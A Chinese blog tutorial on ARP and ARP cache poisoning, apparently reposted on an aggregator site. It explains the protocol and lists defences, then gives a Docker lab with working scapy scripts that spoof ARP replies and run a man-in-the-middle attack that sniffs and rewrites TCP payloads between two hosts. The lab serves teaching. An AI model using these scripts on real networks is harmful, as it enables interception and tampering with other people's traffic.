运营实力 网站建设上海闵行做网站的公司
news/
2025/10/5 6:15:40/
文章来源:
运营实力 网站建设,上海闵行做网站的公司,昆明seo怎么做,网站开发公司上文章目录 一、相关知识1.什么是arp#xff08;地址解析协议#xff09;2.什么是免费arp#xff08;1#xff09;简介#xff08;2#xff09;主要应用#xff08;3#xff09;代码 3.什么是arp缓存中毒#xff08;1#xff09;简介#xff08;2#xff09;过程地址解析协议2.什么是免费arp1简介2主要应用3代码 3.什么是arp缓存中毒1简介2过程3目的4防御 二、arp缓存中毒 攻击过程1.搭建网络1网络拓扑2搭建网络的代码 2.查看ip对应的MAC1docker2192.168.60.1的MAC2HostA和HostM的MAC 3.arp缓存中毒攻击1代码 4.中间人攻击 参考资料 TCP/IP Attacks – ARP Cache Poisoning Fundamentals Explained ARP缓存中毒攻击
一、相关知识
1.什么是arp地址解析协议
ARP工作在OSI模型的第二层数据链路层和第三层网络层之间。
以下是ARP的基本工作流程 1ARP请求 当设备A需要向设备B发送数据时它需要知道设备B的MA C地址。 设备A在其ARP缓存中查找设备B的IP地址是否已经对应了一个MAC地址。如果找不到设备A会发送一个ARP请求。 ARP请求是一个广播消息包含发送方的IP地址和MAC地址以及目标设备的IP地址。 2ARP响应 网络中的所有设备都会接收并检查这个ARP请求。只有目标设备设备B会进行响应。 设备B接收到ARP请求后发送一个ARP响应包含自己的MAC地址。 设备A接收到ARP响应后将设备B的IP地址和MAC地址映射存储在其ARP缓存中。 3数据传输 设备A现在有了设备B的MAC地址可以通过数据链路层进行数据传输。
2.什么是免费arp
1简介
免费ARPGratuitous ARP是一种特殊的ARP请求设备发送这种请求并不是为了解析某个IP地址而是为了主动通知网络中的其他设备关于自身的IP地址和MAC地址的映射。免费ARP消息中源IP地址和目标IP地址都是发送设备的IP地址。以下是免费ARP的主要应用和工作原理。
2主要应用
1IP地址冲突检测 当设备启动并获取IP地址后会发送一个免费ARP请求。 如果网络中存在另一台设备拥有相同的IP地址该设备会响应此请求从而检测到IP地址冲突。
2ARP缓存更新 当设备的MAC地址发生变化例如网卡更换或虚拟机迁移时发送免费ARP请求通知网络中的其他设备更新它们的ARP缓存。 这有助于保持网络中ARP缓存的最新状态避免通信问题。
3网络冗余和负载均衡 在使用VRRP虚拟路由器冗余协议和HSRP热备份路由协议等协议时主路由器发生切换后会发送免费ARP请求通知网络中的设备更新ARP缓存以指向新的主路由器。
3代码
from scapy.all import *# 构建免费ARP请求包
gratuitous_arp ARP(op1, psrc192.168.1.100, hwsrcaa:bb:cc:dd:ee:ff, pdst192.168.1.100)# 发送免费ARP请求
send(gratuitous_arp, verboseFalse)3.什么是arp缓存中毒
1简介
ARP缓存中毒ARP Cache Poisoning也称为ARP欺骗ARP Spoofing是一种网络攻击技术攻击者通过发送伪造的ARP地址解析协议消息到局域网LAN将其MAC地址与另一台合法计算机的IP地址相关联从而导致网络数据包被错误地发送到攻击者的设备。
2过程
1伪造ARP响应攻击者向局域网中的其他设备发送伪造的ARP响应消息。这些伪造消息包含攻击者的MAC地址和被攻击者的IP地址。 2更新ARP缓存接收到伪造ARP响应的设备会更新其ARP缓存错误地将攻击者的MAC地址与合法的IP地址相关联。 3数据包重定向由于设备的ARP缓存已被中毒发送到受害者IP地址的数据包会被错误地发送到攻击者的设备。
3目的
1中间人攻击Man-in-the-Middle Attack攻击者可以截获、监视和修改在两个设备之间传输的数据。 2拒绝服务Denial of Service, DoS攻击者可以通过中毒多个设备的ARP缓存导致网络中断。 3网络嗅探Network Sniffing攻击者可以捕获敏感信息如用户名、密码、银行信息等。
4防御
1静态ARP表在设备上配置静态ARP映射防止动态更新。 2ARP检测工具使用工具监控和检测ARP欺骗行为。 3加密通信使用加密协议保护敏感数据防止被篡改和窃取。
二、arp缓存中毒 攻击过程
1.搭建网络
1网络拓扑 2搭建网络的代码
在 VM 上创建 docker 网络 extranet
$ sudo docker network create --subnet10.0.2.0/24 --gateway10.0.2.8 --opt
com.docker.network.bridge.namedocker1 extranet
在 VM 上创建 docker 网络 intranet
$ sudo docker network create --subnet192.168.60.0/24 --gateway192.168.60.1 --
opt com.docker.network.bridge.namedocker2 intranet
在 VM 上新开一个终端创建并运行容器 Server2
$sudo docker run -it --nameServer2 --hostnameServer2 --netextranet --
ip10.0.2.7 --privileged seedubuntu /bin/bash
在 VM 上新开一个终端创建并运行容器 HostA
$sudo docker run -it --nameHostA --hostnameHostA --netintranet --
ip192.168.60.2 --privileged seedubuntu /bin/bash
在 VM 上新开一个终端创建并运行容器 HostM
$sudo docker run -it --nameHostM --hostnameHostM --netintranet --
ip192.168.60.3 --privileged seedubuntu /bin/bash2.查看ip对应的MAC
1docker2192.168.60.1的MAC
命令 ifconfig
结果 HostB192.168.60.1的MAC为02:42:53:be:7a:36
2HostA和HostM的MAC
让HostA和HostM互相Ping再用arp -a查看arp表 HostA192.168.60.2的MAC为 02:42:c0:a8:3c:02
HostM192.168.60.3的MAC为 02:42:c0:a8:3c:03
3.arp缓存中毒攻击
1代码
在桌面建立一个arp_request.py文件
from scapy.all import *
from time import *# Machine As informaton
IP_A 192.168.60.2
MAC_A 02:42:c0:a8:3c:02# Machine Bs informaton
IP_B 192.168.60.1
MAC_B 02:42:53:be:7a:36# Attacker Machines informaton
IP_M 192.168.60.3
MAC_M 02:42:c0:a8:3c:03print(SENDING SPOOFED ARP REPLY.........)# Construct spoofed ARP sent to machine A
ether1 Ether()
ether1.dst MAC_A
arp1 ARP()
arp1.psrc IP_B
arp1.hwsrc MAC_M
arp1.pdst IP_A
arp1.op 1
frame1 ether1/arp1# Construct spoofed ARP sent to machine B
ether2 Ether()
ether2.dst MAC_B
arp2 ARP()
arp2.psrc IP_A
arp2.hwsrc MAC_M
arp2.pdst IP_B
arp2.op 1
frame2 ether2/arp2while 1:sendp(frame1)sendp(frame2)sleep(5)首先需要启动容器HostA和HostM sudo docker start HostA sudo docker start HostM
将arp_request.py文件从主机移到HostM容器里 sudo docker cp arp_request.py HostM:/
重新开一个终端进入HostA并ping192.168.60.1和192.168.60.3 sudo docker exec -it HostA bin/bash ping 192.168.60.1 ping 192.168.60.3
重新开一个终端进入HostM运行上述代码文件 sudo docker exec -it HostM bin/bash python3 arp_request.py
在HostA终端查看HostA的arp表 arp -a 可以发现HostB和HostM的MAC此时是一样的。 4.中间人攻击
1首先应该打开HostM的IP转发sudo sysctl -w net.ipv4.ip_forward1
2在HostA和HostB之间建立网络连接。 例如可以使用netcat 在HostB上启动监听nc -l -p 12345 在HostA上连接HostBnc 192.168.60.1 12345
3关闭HostM的IP转发 sudo sysctl -w net.ipv4.ip_forward0
4HostM运行代码middle.py
#!/usr/bin/python
from scapy.all import *VM_A_IP 192.168.60.2
VM_B_IP 192.168.60.1MAC_A 02:42:c0:a8:3c:02
MAC_B 02:42:53:be:7a:36def spoof_pkt(pkt):if pkt[IP].src VM_A_IP and pkt[IP].dst VM_B_IP and pkt[TCP].payload:print(ARP Cache Poisoning Man-in-the-MiddleAttacking...)data pkt[TCP].payload.loadprint(Original Packet.........)print(Source IP: , pkt[IP].src)print(Destination IP: , pkt[IP].dst)print(Message: , data)print(Message Length: %d % (len(data)))newpkt IP(bytes(pkt[IP]))del (newpkt.chksum)del (newpkt[TCP].payload)del (newpkt[TCP].chksum)newdata data.replace(b123, b456)newpkt newpkt/newdataprint(Spoofed Packet.........)print(Source IP : , newpkt[IP].src)print(Destination IP :, newpkt[IP].dst)print(Message: , newdata)print(Message Length: %d % (len(newdata)))send(newpkt)elif pkt[IP].src VM_B_IP and pkt[IP].dst VM_A_IP:print(The message is sent from host B to host A...)newpkt pkt[IP]send(newpkt)f tcp and (ether src MAC_A or \ether src MAC_B )
pkt sniff(ifaceeth0, filterf, prnspoof_pkt)此时A给B发送123B收到的是456
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/927895.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!